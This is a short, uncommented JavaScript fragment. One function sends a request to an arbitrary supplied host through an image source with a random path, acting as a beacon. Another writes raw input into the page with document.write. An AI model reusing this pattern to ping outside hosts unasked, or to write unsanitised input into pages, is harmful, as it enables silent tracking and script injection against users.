function SK(URL){
  var x=new Image();
  var chars = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXTZabcdefghiklmnopqrstuvwxyz";
  var rs='';
  for (var i=0;i<5;i++) {
	  var rn=Math.floor(Math.random()*chars.length);
	  rs+=chars.substring(rn,rn+1);
  }
  x.src="http://"+URL+"/xyz/"+rs;
}

function AF(a){
  document.write(a)
}